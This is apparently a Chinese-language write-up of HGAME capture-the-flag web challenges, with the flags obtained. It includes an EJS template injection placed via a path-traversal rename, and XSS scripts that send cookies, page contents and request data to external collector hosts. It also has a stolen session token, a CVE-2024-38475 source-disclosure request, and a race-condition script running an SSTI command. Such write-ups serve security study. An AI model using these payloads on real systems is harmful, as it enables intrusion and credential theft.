Level 24 Pacman 直接看index.js中有一段
here is your gift :aGFldTRlcGNhXzR0cmdte19yX2Ftbm1zZX0=
base64解码得:
haeu4epca_4trgm{_r_amnmse}
观察应该是栅栏密码 比较短,直接人肉还原一下:
haeu4epca_4tr gm{_r_amnmse}
然后竖着读
hgame{u_4re_pacman_m4ster}
Level 69 MysteryMessageBoard 看题干以及代码,发现直接加载mortis.ejs运行,那么尝试进行覆盖 先构造:
<%- global.process.mainModule.require('child_process').execSync('env') %>
上传后使用rename接口进行覆盖, 尝试了几次后这个路径覆盖成功:
import requestsurl = "http://119.45.235.21:30377/rename" data = { "oldName" : "mortis.ejs" , "newName" : "../views/mortis.ejs" } response = requests.post(url, json=data)
Error: 500 {"error":"重命名失败: ENOENT: no such file or directory, rename '/app/uploads/mortis.ejs' -> '/app/static/mortis.ejs'"} Error: 500 {"error":"重命名失败: ENOENT: no such file or directory, rename '/app/uploads/mortis.ejs' -> '/views/mortis.ejs'"} Success: {'message': '文件重命名成功'}
覆盖后刷新网站首页查找hgame获得flag
hgame{Av3_muJ1c4_haS-Br0keN_UP-BUt_We-h@Ve-UMiTaKi66}
Level 69 MysteryMessageBoard 已知用户名:shallot 使用弱秘钥爆破得密码:888888
看题干猜测是xss 之前不知道怎么登录的时候发现有/admin接口,确定是xss 劫持cookie:
<script> function on_on_load ( ){ fetch ('http://120.76.159.54:3389' , { method : 'POST' , headers : { 'Content-Type' : 'text/plain' }, body : document .cookie }) .then (response => response.text ()) .then (data => console .log (data)) .catch (error => console .error ('Error:' , error)); } window .onload = on_on_load; </script>
<script> const attackerServer = 'http://fy0gjk0x.requestrepo.com' ;const originalFetch = window .fetch ;window .fetch = function (url, options ) { const requestData = { type : 'fetch' , url : url, method : options?.method || 'GET' , headers : options?.headers ? {...options.headers } : {}, body : options?.body ? options.body .toString () : null , timestamp : new Date ().toISOString () }; navigator.sendBeacon (attackerServer, JSON .stringify (requestData)); return originalFetch.apply (this , arguments ); }; const originalXHROpen = XMLHttpRequest .prototype .open ;const originalXHRSend = XMLHttpRequest .prototype .send ;XMLHttpRequest .prototype .open = function (method, url ) { this ._method = method; this ._url = url; return originalXHROpen.apply (this , arguments ); }; XMLHttpRequest .prototype .send = function (body ) { const requestData = { type : 'xhr' , url : this ._url , method : this ._method , headers : this ._headers || {}, body : body ? body.toString () : null , timestamp : new Date ().toISOString () }; navigator.sendBeacon (attackerServer, JSON .stringify (requestData)); return originalXHRSend.apply (this , arguments ); }; window .addEventListener ('load' , () => { const data = { cookies : document .cookie , dom : document .documentElement .outerHTML , referrer : document .referrer , header :document }; navigator.sendBeacon (attackerServer, JSON .stringify (data)); }); </script>
劫持获得session:
MTczODU5MzU2N3xEWDhFQVFMX2dBQUJFQUVRQUFBbl80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQWNBQldGa2JXbHV84eE9t0yI4-g4qaBupwIa27OI7uqu5Dje4mCGvbFzb2w=
带着cookie扫目录发现/flag 使用admin的cookie访问获得flag
hgame{W0w_y0u_5r4_9o0d_4t_xss}
Level 38475 角落 经过搜索发现是cve2024-38475 伪造请求进行开黑盒
GET /admin/usr/local/apache2/app/app.py%3F HTTP/1.1 Host : node1.hgame.vidar.club:32567Upgrade-Insecure-Requests : 1User-Agent : L1nk/Accept : */*Connection : close
from flask import Flask, request, render_template, render_template_string, redirectimport osapp = Flask(__name__) pwd = os.path.dirname(__file__) show_msg = '''Latest message: {{message}}''' def readmsg (): filename = pwd + "/tmp/message.txt" if os.path.exists(filename): f = open (filename, 'r' ) message = f.read() f.close() return message else : return 'No message now.' @app.route('/index' , methods=['GET' ] ) def index (): status = request.args.get('status' ) if status is None : status = '' return render_template("index.html" , status=status) @app.route('/send' , methods=['POST' ] ) def write_message (): filename = pwd + "/tmp/message.txt" message = request.form['message' ] f = open (filename, 'w' ) f.write(message) f.close() return redirect('index?status=Send successfully!!' ) @app.route('/read' , methods=['GET' ] ) def read_message (): if "{" not in readmsg(): show = show_msg.replace("{{message}}" , readmsg()) return render_template_string(show) return 'waf!!' if __name__ == '__main__' : app.run(host = '0.0.0.0' , port = 5000 )
重点关注read接口 一个括号都不给,乍一看没法ssti 但是我发现这个接口有问题,readmsg()进行了两次 一次判断一次实装 那么就可以以先通过判断再执行的方式绕过这个waf 第一次的消息大一点,读取进来之后有延时的效果 构造一个多线程的脚本:
import requestsimport threadingdef send_message (message ): url = 'http://node1.hgame.vidar.club:32567/app/send' data = {'message' : message} response = requests.post(url, data=data) print (f"发送消息 '{message} '" ) def read_file (): url = 'http://node1.hgame.vidar.club:32567/app/read' response = requests.get(url) print (f"读取文件响应:{response.text} " ) if __name__ == '__main__' : send_message("a" *4000 ) thread_read = threading.Thread(target=read_file) thread_send = threading.Thread(target=send_message, args=("{{().__class__.__base__.__subclasses__()[140].__init__.__globals__.__builtins__.__import__('os').popen('cat /flag').read()}}" ,)) thread_send.start() thread_read.start() thread_send.join() thread_read.join()
成功拿到flag
hgame{You-f1Nd-thE-Key_TO-RRRACE-OUUuut295edce}